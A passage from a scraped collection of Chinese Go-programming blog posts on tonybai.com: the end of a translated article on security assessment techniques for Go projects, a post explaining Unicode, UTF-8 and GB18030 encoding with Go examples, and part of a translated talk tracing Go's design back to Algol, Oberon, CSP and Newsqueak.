ioutil.ReadAll(stdoutp) if souterr != nil { klog.Errorf(\u0026quot;Failed to read from stdout for cmd %v - %v\u0026quot;, cmd.Args, souterr) } 当stdout为空，也尝试使用索引，这是运行时出现panic的原因：\nusageInKb, err := strconv.ParseUint(strings.Fields(stdout)[0], 10, 64) 更完整的包含重现上述问题的步骤，可参见我们的Kubernetes最终报告附录G（第109页），那里详细介绍了针对Kubelet使用KRF的方法。\nGo的编译器还允许将测量工具包含在二进制文件中，从而可以在运行时检测race状况，这对于将潜在的race识别为攻击者非常有用，但也可以用来识别对defer、panic和recover的不正确处理。我们构建了Trailofbits/on-edge来做到这一点：识别函数入口点和函数panic点之间的全局状态变化，并通过Go race检测器”泄露”此信息。有关OnEdge的更多详细信息，请参见我们以前的博客文章“在Go中选择正确panic的方式”。\n实践中，我们建议使用：\ndvyukov/go-fuzz为组件解析输入建立夹具 google/gofuzz用于测试结构验证 leanovate/gopter用于增强现有的单元和集成测试以及测试规范的正确性 Trailofbits/krf和Trailofbits/on-edge用于测试错误处理。 除KRF外，所有这些工具在实践中都需要付出一些努力。\n三. 利用编译器的优势 Go编译器具有许多内置功能和指令(directive)，可帮助我们查找错误。这些功能隐藏在各种开关中中，并且需要一些配置才能达到我们的目的。\n1. 颠覆类型系统 有时在尝试测试系统功能时，导出函数不是我们要测试的。要获得对所需的函数的测试访问权，可能需要重命名许多函数，以便可以将其导出，这可能会很麻烦。要解决此问题，可以使用编译器的build指令(directive)进行名称链接(name linking)以及导出系统的访问控制。作为此功能的示例，下面的程序（从Stack Overflow答案中提取）访问未导出的reflect.typelinks函数，并随后迭代类型链接表以识别已编译程序中存在的类型。\n下面是使用linkname build directive的Stack Overflow答案的通用版本:\npackage main import ( \u0026quot;fmt\u0026quot; \u0026quot;reflect\u0026quot; \u0026quot;unsafe\u0026quot; ) func Typelinks() (sections []unsafe.Pointer, offset [][]int32) { return typelinks() } //go:linkname typelinks reflect.typelinks func typelinks() (sections []unsafe.Pointer, offset [][]int32) func Add(p unsafe.Pointer, x uintptr, whySafe string) unsafe.Pointer { return add(p, x, whySafe) } //go:linkname add reflect.add func add(p unsafe.Pointer, x uintptr, whySafe string) unsafe.Pointer func main() { sections, offsets := Typelinks() for i, base := range sections { for _, offset := range offsets[i] { typeAddr := Add(base, uintptr(offset), \u0026quot;\u0026quot;) typ := reflect.TypeOf(*(*interface{})(unsafe.Pointer(\u0026amp;amp;typeAddr))) fmt.Println(typ) } } } 下面是typelinks表的输出：\n$ go run main.go **reflect.rtype **runtime._defer **runtime._type **runtime.funcval **runtime.g **runtime.hchan **runtime.heapArena **runtime.itab **runtime.mcache **runtime.moduledata **runtime.mspan **runtime.notInHeap **runtime.p **runtime.special **runtime.sudog **runtime.treapNode **sync.entry **sync.poolChainElt **syscall.Dirent **uint8 如果需要在运行时进行更精细的控制（即，不仅仅是linkname指令），则可以编写Go的中间汇编码，并在编译过程中包括它。尽管在某些地方它可能不完整且有些过时，但是teh-cmc/go-internals提供了有关Go如何组装函数的很好的介绍。\n2. 编译器生成的覆盖图 为了帮助进行测试，Go编译器可以执行预处理以生成coverage信息。这旨在标识单元测试和集成测试的测试覆盖范围信息，但是我们也可以使用它来标识由模糊测试和属性测试生成的测试覆盖范围。Filippo Valsorda在博客文章中提供了一个简单的示例。\n3. 类型宽度安全 Go支持根据目标平台自动确定整数和浮点数的大小。但是，它也允许使用固定宽度的定义，例如int32和int64。当混合使用自动宽度和固定宽度大小时，对于跨多个目标平台的行为，可能会出现错误的假设。\n针对目标的32位和64位平台构建进行测试将有助于识别特定于平台的问题。这些问题通常在执行验证、解码或类型转换的时候发现，原因在于对源和目标类型属性做出了不正确的假设。在Kubernetes安全评估中就有一些这样的示例，特别是TOB-K8S-015：使用strconv.Atoi并将结果向下转换时的溢出（Kubernetes最终报告中的第42页），下面是这个示例。\n// updatePodContainers updates PodSpec.Containers.Ports with passed parameters. func updatePodPorts(params map[string]string, podSpec *v1.PodSpec) (err error) { port := -1 hostPort := -1 if len(params[\u0026quot;port\u0026quot;]) \u0026gt; 0 { port, err = strconv.Atoi(params[\u0026quot;port\u0026quot;]) // \u0026lt;-- this should parse port as strconv.ParseUint(params[\u0026quot;port\u0026quot;], 10, 16) if err != nil { return err } } // (...) // Don't include the port if it was not specified. if len(params[\u0026quot;port\u0026quot;]) \u0026gt; 0 { podSpec.Containers[0].Ports = []v1.ContainerPort{ { ContainerPort: int32(port), // \u0026lt;-- this should later just be uint16(port) }, } 错误的类型宽度假设导致的溢出：\nroot@k8s-1:/home/vagrant# kubectl expose deployment nginx-deployment --port 4294967377 --target-port 4294967376 E0402 09:25:31.888983 3625 intstr.go:61] value: 4294967376 overflows int32 goroutine 1 [running]: runtime/debug.Stack(0xc000e54eb8, 0xc4f1e9b8, 0xa3ce32e2a3d43b34) /usr/local/go/src/runtime/debug/stack.go:24 +0xa7 k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/intstr.FromInt(0x100000050, 0xa, 0x100000050, 0x0, 0x0) ... service/nginx-deployment exposed 实际上，很少需要颠覆类型系统。最需要的测试目标已经是导出了的，可以通过import获得。我们建议仅在需要助手和测试类似的未导出函数时才使用此功能。至于测试类型宽度安全性，我们建议您尽可能对所有目标进行编译，即使没有直接支持也是如此，因为不同目标上的问题可能更明显。最后，我们建议至少生成包含单元测试和集成测试的项目的覆盖率报告。它有助于确定未经直接测试的区域，这些区域可以优先进行审查。\n四. 有关依赖的说明 在诸如JavaScript和Rust的语言中，依赖项管理器内置了对依赖项审核的支持-扫描项目依赖项以查找已知存在漏洞的版本。在Go中，不存在这样的工具，至少没有处于公开可用且非实验状态的。\n这种缺乏可能是由于存在多种不同的依赖关系管理方法：go-mod，go-get，vendored等。这些不同的方法使用根本不同的实现方案，导致无法直接识别依赖关系及其版本。此外，在某些情况下，开发人员通常会随后修改其vendor的依赖的源代码。\n在Go的开发过程中，依赖管理问题的解决已经取得了进展，大多数开发人员都在朝使用go mod的方向发展。这样就可以通过项目中的go.mod跟踪和依赖项并进行版本控制，从而为以后的依赖项扫描工作打开了大门。我们可以在OWASP DependencyCheck工具中看到此类工作的示例，该工具是具有实验性质的go mod插件。\n五. 结论 最终，Go生态系统中有许多可以使用的工具。尽管大多数情况是完全不同的，但是各种静态分析工具可帮助识别给定项目中的“悬而未决的问题”。当寻求更深层次的关注时，可以使用模糊测试，属性测试和故障注入工具。编译器配置随后增强了动态技术，使构建测试夹具和评估其有效性变得更加容易。\n本文翻译自“Security assessment techniques for Go projects”。\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线了，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2019/11/08/security-assessment-techniques-for-go-projects/","summary":"\u003cp\u003e在今年夏天我们对\u003ca href=\"https://github.com/trailofbits/audit-kubernetes\"\u003eKubernetes的评估\u003c/a\u003e成功之后，我们收到了大量\u003ca href=\"https://tonybai.com/tag/go\"\u003eGo项目\u003c/a\u003e的安全评估需求。为此，我们将在其他编译语言中使用过的安全评估技术和策略调整适配到多个Go项目中。\u003c/p\u003e\n\u003cp\u003e我们从了解语言的设计开始，识别出开发人员可能无法完全理解语言语义特性的地方。多数这些被误解的语义来自我们向客户报告的调查结果以及对语言本身的独立研究。尽管不是详尽无遗，但其中一些问题领域包括作用域、协程、错误处理和依赖管理。值得注意的是，其中许多与运行时没有直接关系。默认情况下，Go运行时本身的设计是安全的，避免了很多类似C语言的漏洞。\u003c/p\u003e","title":"Go语言项目的安全评估技术"},{"content":"今天几个同事在处理一个有关中文字符编码的问题，感觉他们对字符编码这件事依然理解不够透彻。这里用图文方式对中文字符编码做一个简要的解释，例子使用Go语言。\n我们知道每个英文字母和数字在计算机中都会对应一个字节，或者说用一个字节来表示，这就是最初的ASCII码。但是随着计算机在全球范围内的广泛使用，非英语国家也要在计算机使用自己的字符，于是出现了字符集“百花齐放”的情况，我国在早期也颁布了自己的中文字符集标准。字符集一多，难免出现字符集编码不兼容的情况，比如：A字符集中某字符X的编码值是Y，但是在B字符集中Y这个值所表示的字符却是Z，这种不兼容的情况在一段时间内长期存在，导致因字符集导致的传输、处理、呈现、存储等问题常常发生，非常恼人。直到Unicode(万国码/统一码)在1994年发布，人类终于有了以统一人类所有字符为目的的统一字符集。Unicode的普及也是花费了不少的时间。但在2019年的今天，世界上绝大多数系统都支持了Unicode。\nUnicode究竟是啥？Unicode就是一个表，如下图：\n图：unicode是什么\n我们看到这个表中有两列：序号和字符。其中序号就是为全世界所有国家的所有语言文字的符号做的编码，每个字符分配一个序号，序号的范围从0×000000到0x10FFFF，一共110多万个字符，这个序号也被称为Unicode码点(code point)。第二列的字符就称为“Unicode字符”。注意：同样一个“中”字，在Unicode表中的”中”称为Unicode字符“中”；在GB18030码表中的“中”称为GB18030字符“中”。计算机中的字符是有字符集属性的，因此虽然字符外形相同（都是“中”），但在计算机内部的存储表示是不同的。\n图：拉丁字符对应的unicode表段\n试想一下如果全世界的计算机系统都将Unicode序号作为Unicode字符的编码方案进行编解码，那么字符集问题便会从地球上彻底消失。但这个“理想的情况”并未发生。原因是什么呢？原因就是如果按照”理想方案”编码，那么无论是世界上最常用的26个字母a-z还是亚马逊森林中某个尚处于原始社会形态的某个部落的一个符号都要用一个”三字节”的存储单元表示，这意味着现实世界中所有数字资料的存储空间要变为原先的三倍（注：世界上大部分资料是用英语的26个字母编写的，原先每个字母仅需一个字节存储）、在传输相同信息的情况下，传输压力增加为原来的三倍，这是世界所无法接受的。Unicode组织其实也没有要求大家使用这种“理想的编码方案”对Unicode字符进行编码。于是就出现了UTF-8、UTF-16等变长的Unicode字符的编码方案，专门用于在存储和传输Unicode字符时使用。其中UTF-8经过实践，已经成为如今世界的Unicode字符的编码方案事实标准。\n图：凤凰网默认采用utf-8编码方案\nUTF-8这种Unicode字符的编码方案有几个特点：\n使用变长字节对Unicode字符进行编码。采用什么编码与Unicode字符的序号有关，序号小的使用的字节就少，序号大的使用的字节就多。使用的字节个数从 1 到 4 个不等。\n兼容ASCII字符集编码。这点非常重要，这意味着采用Unicode字符集时，已有的ASCII字符存储和传输方式无需改变，依然兼容可用。\nUTF-8 的编码单元为一个字节（也就是一次编解码一个字节），所以在处理UTF8字符的时候就不需要考虑这一个字节的存储是在高位还是在低位。\n下面我们结合图、代码示例来更清晰地了解一下Unicode字符、UTF-8编码、GB18030编码的区别。\n图: “中国人”三个字对应Unicode字符、字符对应的码点（序号）、UTF-8编码与GB18030编码\n从上图中，我们看到三个Unicode字符：中、国、人对应的在Unicode表中的序号(码点）分别是：U+4E2D、U+56FD和U+4EBA。我们可以通过一段Go代码来输出Unicode字符的码点。\npackage main import \u0026quot;fmt\u0026quot; func main() { var s = \u0026quot;中国人\u0026quot; for _, v := range s { fmt.Printf(\u0026quot;%s =\u0026gt; 码点：%X\\n\u0026quot;, string(v), v) } } 运行该程序的输出结果：\n中 =\u0026gt; 码点：4E2D 国 =\u0026gt; 码点：56FD 人 =\u0026gt; 码点：4EBA 我们知道在Go语言中，rune这种builtin类型被用来表示一个**“Unicode字符”**，因此一个rune的值就是其对应Unicode字符的序号，即码点。通过for range语句对字符串进行迭代访问是，range会依次返回Unicode字符对应的rune，即码点。这里可以看到Unicode字符“中”对应的rune（码点）为0x4E2D。\n前面我们说过，Unicode字符在存储和传输时采用的并非“理想编码方案”，而多维UTF-8编码，也就是说在上面的例子中“中国人”这三个Unicode字符在内存中并不是以码点值存储的，而是以UTF-8编码后的值存储的。还以Unicode字符“中”为例，在上图中，我们看到其对应的UTF-8编码为0xE4B8AD这三个字节，我们用Go代码来验证一下：\npackage main import \u0026quot;fmt\u0026quot; func main() { var s = \u0026quot;中\u0026quot; fmt.Printf(\u0026quot;%s =\u0026gt; UTF8编码: \u0026quot;, s) for _, v := range []byte(s) { fmt.Printf(\u0026quot;%X\u0026quot;, v) } fmt.Printf(\u0026quot;\\n\u0026quot;) } 运行该程序得到如下结果：\n中 =\u0026gt; UTF8编码: E4B8AD 我们将字符串转换为对应的切片元素，然后按字节逐一输出便得到了Unicode字符“中”所对应的UTF-8编码，即存储“中”这个字符时，内存所使用的字节(三个)和对应的值。\n“中”这个字符也存在于我们的国标GB18030编码表中，那么GB18030表中是如何对GB18030字符“中”进行编码的呢？我们来看一个全面些的例子：\n// github.com/bigwhite/experiments/non-ascii-char-encoding/demo1.go package main import ( \u0026quot;fmt\u0026quot; utils \u0026quot;github.com/bigwhite/gocmpp/utils\u0026quot; ) func main() { var stringLiteral = \u0026quot;中国人\u0026quot; var stringUsingRuneLiteral = \u0026quot;\\u4E2D\\u56FD\\u4EBA\u0026quot; if stringLiteral != stringUsingRuneLiteral { fmt.Println(\u0026quot;stringLiteral is not equal to stringUsingRuneLiteral\u0026quot;) return } fmt.Println(\u0026quot;stringLiteral is equal to stringUsingRuneLiteral\u0026quot;) for i, v := range stringLiteral { fmt.Printf(\u0026quot;中文字符: %s \u0026lt;=\u0026gt; Unicode码点(rune): %X \u0026lt;=\u0026gt; UTF8编码(内存值): \u0026quot;, string(v), v) s := stringLiteral[i : i+3] for _, v := range []byte(s) { fmt.Printf(\u0026quot;0x%X \u0026quot;, v) } s1, _ := utils.Utf8ToGB18030(s) fmt.Printf(\u0026quot;\u0026lt;=\u0026gt; GB18030编码(内存值): \u0026quot;) for _, v := range []byte(s1) { fmt.Printf(\u0026quot;0x%X \u0026quot;, v) } fmt.Printf(\u0026quot;\\n\u0026quot;) } } 运行该程序，得到如下结果：\n$go run demo1.go stringLiteral is equal to stringUsingRuneLiteral 中文字符: 中 \u0026lt;=\u0026gt; Unicode码点(rune): 4E2D \u0026lt;=\u0026gt; UTF8编码(内存值): 0xE4 0xB8 0xAD \u0026lt;=\u0026gt; GB18030编码(内存值): 0xD6 0xD0 中文字符: 国 \u0026lt;=\u0026gt; Unicode码点(rune): 56FD \u0026lt;=\u0026gt; UTF8编码(内存值): 0xE5 0x9B 0xBD \u0026lt;=\u0026gt; GB18030编码(内存值): 0xB9 0xFA 中文字符: 人 \u0026lt;=\u0026gt; Unicode码点(rune): 4EBA \u0026lt;=\u0026gt; UTF8编码(内存值): 0xE4 0xBA 0xBA \u0026lt;=\u0026gt; GB18030编码(内存值): 0xC8 0xCB 我们看到，如果使用GB18030编码，中文字符“中”字仅需要在内存中使用两个字节0xD6和0xD0表示。\n综上，关于中文字符编码，需记住以下要点：\nUnicode是目前被支持最为广泛的字符集；\nUtf-8是目前被支持最为广泛的Unicode字符的编码方式(还有其他方式，比如UTF-16、UTF-32等)；\n针对同一个字符，比如：“中”，如果该字符存在于两个字符集编码方案A（比如：utf8)和B(比如gb18030)中，那么我们可以通过转换，将该字符在A中的编码(如：”中”的E4B8AD)转换为在B中的编码(如“中”的D6D0)。\n\u0026gt;本文涉及的例子源码可以在这里下载。 我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线了，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2019/11/07/non-ascii-character-encoding-illustrated/","summary":"\u003cp\u003e今天几个同事在处理一个有关中文字符编码的问题，感觉他们对\u003ca href=\"https://tonybai.com/2007/11/03/also-talk-about-char-encoding/\"\u003e字符编码\u003c/a\u003e这件事依然理解不够透彻。这里用图文方式对中文字符编码做一个简要的解释，例子使用\u003ca href=\"https://tonybai.com/tag/go\"\u003eGo语言\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e我们知道每个英文字母和数字在计算机中都会对应一个字节，或者说用一个字节来表示，这就是最初的\u003ca href=\"https://www.asciitable.com/\"\u003eASCII码\u003c/a\u003e。但是随着计算机在全球范围内的广泛使用，非英语国家也要在计算机使用自己的字符，于是出现了字符集“百花齐放”的情况，我国在早期也颁布了自己的中文字符集标准。字符集一多，难免出现字符集编码不兼容的情况，比如：A字符集中某字符X的编码值是Y，但是在B字符集中Y这个值所表示的字符却是Z，这种不兼容的情况在一段时间内长期存在，导致因字符集导致的传输、处理、呈现、存储等问题常常发生，非常恼人。直到\u003ca href=\"https://home.unicode.org/\"\u003eUnicode(万国码/统一码)\u003c/a\u003e在1994年发布，人类终于有了以统一人类所有字符为目的的统一字符集。Unicode的普及也是花费了不少的时间。但在2019年的今天，世界上绝大多数系统都支持了Unicode。\u003c/p\u003e","title":"图解中文字符编码-Go语言例解"},{"content":"本文是gohugo作者Steve Francia在意大利佛罗伦萨举办的GoLab上分享的闭幕演讲讲稿的文字版，该演讲的主题为”Go的遗产”。该演讲讨论了Go语言继承的遗产，以及它是如何尊重这些遗产的，并在最后总结了Go希望留给后来者的遗产。\n演讲胶片\n我们有责任保留好留给我们的遗产，并留下值得我们子孙后代继承的遗产 – 克里斯汀·格雷格（Christine Gregoire）\n1. Go语言之前 1950年 在1950年代后期，人们对每台新计算机如何产生自己独特的语言而感到不安。当时，编程语言是由硬件制造商提供的，并且因型号而异。跨计算机且保持一致的第一门编程语言是Fortran，但这仍然仅适用于其制造商IBM(生产的计算机)。而后，人们成立了一个委员会，该委员会的使命就是设计第一种真正通用的、独立于机器的编程语言。\n图：编程语言历史Babel塔，CACM封面，1961年1月\n1960年 1960年1月，有13位计算机科学家在巴黎举行了一次空前的会议，旨在(设计)开发出这样一种语言。美国派出了6位代表，欧洲派出了7位代表。\n会议上无休止、令人振奋的讨论也让科学家们筋疲力尽。当一个人的好主意与他人的坏主意一起被抛弃时，一个人就会变得更加恼火。然而，在整个会议期间内，大家都没有懈怠，持续地努力投入着。\n最终这13名科学家的思想碰撞产生了良好的化学反应 – Alan Perlis。\nAlgol 这是一种远远超越其时代的语言，它不仅是对其前辈的一种改进，而且对其所有后继者也产生了重大影响。- Tony Hoare关于编程语言设计的提示– 1973年\n尽管发表了这一声明，但Tony Hoare和Niklaus Wirth还是一起创建了称为ALGOL W的ALGOL 60的后继产品。 进而导致Niklaus Wirth继续创建了Pascal，Pascal编程语言最初于1970年发布。 接下来，CPL(Combined Programming Language)在剑桥大学独立创建，也被称为“剑桥编程语言”。 接下来，一种称为BCPL(或Basic CPL)的、基于CPL但比CPL更简单的编程语言诞生。 在美国贝尔实验室，Ken Thompson和Dennis Ritchie创建了B语言，主要基于BCPL。 在B语言发明后不久，它的后继者C语言就诞生了。 之后，原本一脉相承的语言出现了分裂：\nPascal这一分支在欧洲蓬勃发展，有许多继任者，包括Modula和Oberon。 C语言在美国激增，激发和促进了C++、C＃、Java以及JavaScript、Python、Perl、PHP和许多其他语言的诞生和发展。 到2007年，存在的数十种编程语言都可以追溯到其共同祖先：Algol。 1964年 我们的并发故事始于Doug McIlroy，他在1964年提出了一些新的想法，这些想法最终演化为Unix Pipes。\n当有必要以另一种方式处理数据时，我们应该有一些耦合程序的方法，例如像将花园软管拧入另一部分那样。这也是IO的方式。- Doug McIlroy\n背后故事 在1970年至1972年的一段时间内，我不时说：“如何做这样的事情？”，然后我提出了另一个建议，另一个建议，另一个建议。有一天，我想出了一种shell语法用于支持管道使用，Ken说：“我要去实现它！”他厌倦了听到所有这些内容……[并且]他说，“要去实现它”。他没有完全按照我为管道系统调用所建议的去做。他发明了一种更好一点的东西，终于又改变了今天的样子。他在一夜之间将管道符放入了Unix（并且他做到了）……。 麦克罗伊（McIlroy）引述：布赖恩（Brian）的墙上还挂着一张纸，在那张纸上我谈到了像花园软管那样将流（stream)拧在一起。所以这个想法在我脑海中徘徊了很长时间。 同时，在Thompson和Ritchie在黑板上，草拟了一个文件系统，我正在草拟如何在黑板上进行数据处理，方法是将一系列过程串联在一起，并寻找一种将过程连接在一起的前缀表示法语言。之所以失败，是因为很容易说出“cat into grep into……”或“who into cat into grep”等等。这么说很容易，而且从一开始就很清楚，这就是您想说的。但是这些命令具有所有这些附带的参数。它们不仅具有输入和输出参数，还具有选项，并且在语法上还不清楚如何将这些选项插入以前缀表示法编写的链中，比如：cat（grep（who …））。在句法上很多人不知道如何做。所以我把这些非常漂亮的程序写在黑板上，用的语言不够强大，无法应付现实。因此，我们实际上并未这样做。 1978年 到1978年，在对多处理器进行编程的背景下，有许多提议的方法被用于通信和同步。共享内存是最常见的通信机制。\n托尼·霍尔（Tony Hoare）发表了一篇论文，该论文改变了一切。它比时代提前了几十年。他称他的论文为:”通讯顺序进程，communicating sequential processes”，就是大家熟知的CSP。\n进程(Processes)：执行单元 顺序(Sequential)：每个进程都作为一个普通的单线程程序运行 通讯(Communicating)：进程如何协调 没有内存共享 没有线程，没有互斥体 Hoare的论文提出了一种语言，每个进程（或者作为一个普通的单线程程序）按顺序执行，通过无缓冲通道(unbuffered channel)相互通信。Hoare的通信进程比典型的Unix Shell管道更通用，因为它们可以以任意模式连接。\n三个语言分支因Hoare的CSP论文而诞生：Erlang 、Occam和Newsqueak。\n1983年诞生的Occam最接近CSP论文（由Hoare推荐） Erlang在80年代后期专注于CSP的功能方面，并使用mailbox在进程之间进行通信 Rob Pike(Newsqueak之父)追逐了并发白鲸(the concurrency white whale)长达20年 Go是第一种可以同时拥有欧洲和美国语言设计分支传统的语言。实际上，它已经统一了这三个分支\n2016年，黑客新闻评论（Hacker News）上的一则帖子称Go语言时停留在70年代的一种语言，这引起了一些对Go的批评……\n2. 对过去伟大思想的复兴 编程语言发展的四波浪潮 第一波浪潮：语言扩张 – 巴别塔 特征：多样化。很久以前，语言是多种多样的，并在在思想、方法和意见等方面体现出多样性。\n第二波浪潮：语言的标准化 特征：快速、复杂且对开发不友好。语言的标准化发生了数十年。到2000年代，事情开始停滞。他们融合为两个阵营：Java/JVM和C/CLR。C++、Java、C＃都非常相似。\n第三波浪潮：脚本语言 特征：慢、不安全但对开发友好。脚本语言作为对上述语言的复杂性和痛苦的回应而应运而生。它们开发快速而松散，对开发人员友好，但缺乏性能和安全性。\n第四波浪潮：恢复 特征：快速、安全、对开发人员友好\nGo是对这些语言的复杂性和痛苦的一种反应，也是对脚本语言快速开发和松散本质的反应。\nGo恢复了早期语言的简单性和灵活性，增加了现代语言的安全性和开发友好性。Go以一种非常真实的方式复兴了许多伟大的想法，这些想法终于准备就绪。\nGo给人的感觉就像是来自60年代，70年代，80年代，90年代，00s，10年代的语言……Steve Francia 2019\nGo感觉像这样是因为它由过去60年来的许多伟大构想组成。\n现在，我想谈谈Go中的3种特定功能(简单、并发和Go的OO)以及这些思想起源的4种语言(Oberon、Newsqueak、Simula和Smalltalk)。在Go恢复它们之前，许多思想被遗忘了。\n1988年 简单易读的结构和语法: Oberon＆C\nNiklaus Wirth负责Algol-W，Pascal，Modula。现在是1988年，他的最新语言是Oberon。\nOberon的程序结构，以“hello, world”例子为例:\nMODULE hello; IMPORT Out; BEGIN Out.String(\u0026quot;Hello, World\u0026quot;); Out.Ln END hello. Oberon围绕着爱因斯坦（Albert Einstein）的座右铭设计：“使事情尽可能简单，但不要过于简单。”\n程序结构非常简单。\n下面是Go的”hello world”程序结构：\npackage main import \u0026quot;fmt\u0026quot; func main（）{ fmt.Println\u0026quot;hello world\u0026quot;） } 这个例子看起来应该很熟悉，它直接采用Oberon的结构。\n我们再来看看Oberon的声明结构：\nCONST n = 42； TYPE mystring = ARRAY 32 OF CHAR; VAR s: mystring; PROCEDURE squared(x:INTEGER):INTEGER; BEGIN RETURN x * x END squared; VAR b,c: INTEGER = 1,2; 再来看看Go的声明结构：\nconst n = 42 type mystring string var s mystring func squared(x int) int { return x*x } var b, c int = 1, 2 在Go和Oberon中，声明都是从左到右（名称，类型，可选值），这恰与C相反，在C语言中，类型放在前面。\n很多人看到Go后会问为什么我们要翻转C语法，他们错误地认为Go的声明结构来自C语言。它不是，它来自Oberon。\nGo使用了Oberon形态，但却用C的token：\n{}代替BEGIN END ++，– 代替（内置）的INC和DEC != 代替# ％代替MOD || 代替OR []代替ARRAY 结构体代替RECORD *代替POINTER TO 虽然结构来自Oberon，但Go使用的token却来自C。\n这里没有太多，这就是重点。语法和结构都很简单。 没有继承，没有层次。没有复杂的作用域(scope)系统。 它们尽可能简单，但并不过于简单。 您可以看到Go如何采用Oberon的简单结构，但是删除了笨拙的语法，并采用C语言的更加优雅和熟悉的语法替换了它们。\n这样做的结果是一种非常易读的语言诞生了。\n1989年 并发与Newsqueak\n罗伯·派克（Rob Pike），他于1989年在贝尔实验室工作。他在这里设计了Newsqueak。\nNewsqueak是一门用于研究和探索的编程语言 它致力于在Sequeak基础上添加实用的、切实可行的并发(concurrency)支持 Newsqueak语法上类似C 像CSP一样，Newsqueak使用Channel作为Process的集合点 Rob Pike的Newsqueak在语法上看起来像C，但对并发支持的更好。Squeak用于设计菜单和滚动条之类的设备，Newsqueak解决了同样的问题，但涉及范围更广：Newsqueak用于编写整个应用程序，尤其是窗口系统。\nNewsqueak-Prime Sieve pt.1\n译注：Rob Pike拿手的素数筛例子\ncounter := prog(end: int, c: chan of int) { i: int; for(i = 2; i\u0026lt;end; i++) c\u0026lt;-=i; }; filter := prog(prime: int, listen, send: chan of int) { i: int; for(;;) if((i=\u0026lt;-listen)%prime) send\u0026lt;-=i; }; Newsqueak-Prime Sieve pt.2\nsieve := prog(c: chan of int) { for(;;) { prime := \u0026lt;-c; print(prime, “ “); newc := mk(chan of int); begin filter(prime, c, newc); c = newc; } }; count := mk(chan of int); begin counter(10000, count); sieve(count); 与CSP和Squeak不同，Newsqueak将channel视为一等公民：channel可以存储在变量中，可以作为参数传递给函数，甚至channel自身也可以通过channel发送。\n另外”\u0026lt;-c(receive)”表达式也是第一次在这里介绍。\nchannel和routine\nGo: c := make(chan int) c \u0026lt;- 1 x = \u0026lt;-c go f(x) vs. Newsqueak: c := mk(chan of int); c \u0026lt;- = 1; x = \u0026lt;-c; begin f(x); 我们看到：Go的并发方法几乎与Newsqueak完全相同，channel和 goroutines的使用方式也是相同的。\nselect\nNewsqueak还使用了看起来与Go的select语句非常相似的select。\nselect { case msg1 = \u0026lt;-c1: print(“received”, msg1, “\\n”); case msg2 = \u0026lt;-c2: print(“received”, msg2, “\\n”); } 您可以清楚地看到Go并发的基础在25年前是如何在Newqueak中被建立起来的。Go采纳了这些”老想法”，并对其进行了改进，使其可以投入生产。\nRyan Dahl: Node.js的创建者的访谈(2017)\n我喜欢Go的编程模型。使用goroutine是如此简单和有趣……如果您要构建服务器，那么我无法想象使用Go以外的任何工具。Goroutine使Go的并发变得简单。\n1965年 面向对象基础(Smalltalk)\nOO在C++/Java之前就已存在，在C++和Java重新定义面向对象之前。\n什么是面向对象？\n附加到数据对象的过程(Procedure) Procedure的可重用性 Procedure+数据\nSimula继承了Algol，并在其中添加了对象，类，继承和子类。 Simula被认为是第一种面向对象的编程语言，并且在Smalltalk和所有随后的OO语言的开发中具有重要的影响力。\nSimula改变了一直以来的从Procedure的角度来看的思维方式，…他将其翻转为…面向对象的视角，即在每种类型的对象中，您都有处理它的所有方法。- Small Talk的实现者Dan Ingalls\n1980 接下来是Smalltalk，其中一切都是对象，并且仅通过发送消息与对象进行通信。\n我确实发明了“面向对象”这个术语，但这是一个错误的选择，因为它没有强调消息发送这个更重要的思想。 – Alan Kay: 从A到Z的编程语言：Smalltalk-80 – 2010\n1989年 Procedure重用\n我们将讨论两个出版物:\n如果系统的任何部分取决于另一部分的内部结构，那么复杂度会随着系统大小的平方而增加 – Dan Ingalls面向对象编程— 1989年\n继承。 我们看到了继承带来的这种指数级复杂性\n对于使用半新的OO语言进行编程的任何人，这应该看起来都很熟悉。关系线无处不在。 – SPAGHETTI CODE的诞生\n论文《强类型面向对象编程的接口》中所提到的系统提供了Ada和Modula-2之类的语言中的模块接口的优点，同时保留了可表达性，使无类型的面向对象的语言（如Smalltalk）具有灵活性。\nGo interfaces\ntype Point interface { X() int Y() int Move(int,int) Point Equal(Point) bool } Go团队在实现interface时并不知道到该论文的存在。由于这两种方法的明显相似性，后来与他们share了该论文。\nGo采取了非常相似的方法，但是对上面论文中想法进行了改进，因为Go接口是隐式的，这使Go应用程序解耦并提供了极大的灵活性。\n当您尝试分解一个复杂的问题时，您想要尝试将其分解为尽可能少的部分，并且希望它们尽可能独立。 – Dan Ingalls 面向对象编程— 